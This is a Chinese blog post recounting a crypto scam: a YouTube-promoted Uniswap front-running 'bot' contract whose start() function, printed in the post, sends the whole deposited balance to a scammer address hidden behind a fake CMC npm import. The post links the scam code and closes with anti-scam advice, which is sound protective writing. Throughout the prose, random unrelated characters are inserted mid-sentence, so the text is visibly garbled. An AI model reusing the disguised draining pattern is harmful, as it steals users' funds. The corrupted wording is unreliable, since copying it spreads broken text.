起因
前段時間在群里看到群友發(fā)了一個油管的鏈接芯勘,視頻內(nèi)容大致就是你只需按照他的代碼部署機器人的EVM合約即可躺賺收益腕唧,原理就是狙擊在Uniswap在某些大額交易變成“事實”之前搶先插隊在大額買入或賣出之前買入弦蹂,并且在大額買入或賣出成功后立馬賣出或買入完成套利铺根。
經(jīng)過
抱著懷疑態(tài)度胚股,看了下評論(當時覺得800多條評論庭再,不可能是假的吧),覺得臥槽牛逼芒珠,趕緊試一下桥狡。作者還為大家解惑,為什么免費分享代碼皱卓,是因為想建立自己在圈子的影響力总放,說得跟真的一樣。
代碼很簡單好爬,https://pastebin.com/raw/vY4Y2c1y,就一個文件甥啄,用remix連接狐貍部署即可存炮,然后向合約轉(zhuǎn)錢,手動執(zhí)行合約的函數(shù)就可以開始賺錢,教程里說轉(zhuǎn)的eth越多賺的越多穆桂。
謹慎起見還是用測試網(wǎng)絡Ropsten試一下宫盔,測試不要錢,反正從水龍頭可以隨便拿錢(https://faucet.metamask.io/)享完。
部署完畢灼芭,合約放了兩個函數(shù)出來start
就是開始開始賺取收益,withdraw
就是把合約里的錢進行提現(xiàn) (看似邏輯非常完美)般又,因為合約也是你自己部署的彼绷,自己往合約上轉(zhuǎn)錢。
往合約轉(zhuǎn)1eth
有了茴迁,點擊start
寄悯!開始賺錢!
下一刻堕义,錢沒了猜旬。看下內(nèi)部轉(zhuǎn)賬倦卖,調(diào)用start
之后洒擦,合約內(nèi)部往下面這個地址轉(zhuǎn)了所有的錢。
開始百思不得其解怕膛,因為在代碼全局里根本搜不到這個地址熟嫩。
回來看下start
方法
function start() public payable {
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `liquidity`.
*/
payable(manager.DepositAddress()).transfer(address(this).balance);
}
這個manager.DepositAddress()
很有誤導性,看起來是合約的管理者嘉竟,但manager
這個類在代碼里找不到邦危。
花了很久很久,終于舍扰。倦蚪。。發(fā)現(xiàn)了一個可疑的引入
在npmjs.com
一搜出來是這么個玩意边苹,死都想不到是這個cmc的npm出了問題陵且。真就還以為是cmc官網(wǎng)的api。真的太有迷惑性了个束。
在非常隱蔽的地方找到了這個manager類慕购,其余代碼都已注釋
最終在這里返回了騙子的地址。
總結(jié)
1.凡是說只要部署合約就能賺錢的大概率是騙子茬底,夾子機器是一個復雜的技術(shù), 僅有合約是不能夾到交易的, 因為合約不會自動運行, 必須要有腳本去調(diào)用合約沪悲,evm上的合約需要消費gas,都是有執(zhí)行生命周期的阱表,不可能一直存在那殿如。
2.小白部署合約前贡珊,即使看不懂solidty代碼,也應該在testnet進行測試涉馁,確保合約的安全性门岔。
3.世界上沒有不勞而獲的事情,不斷提高自己的認知是獲的前提烤送。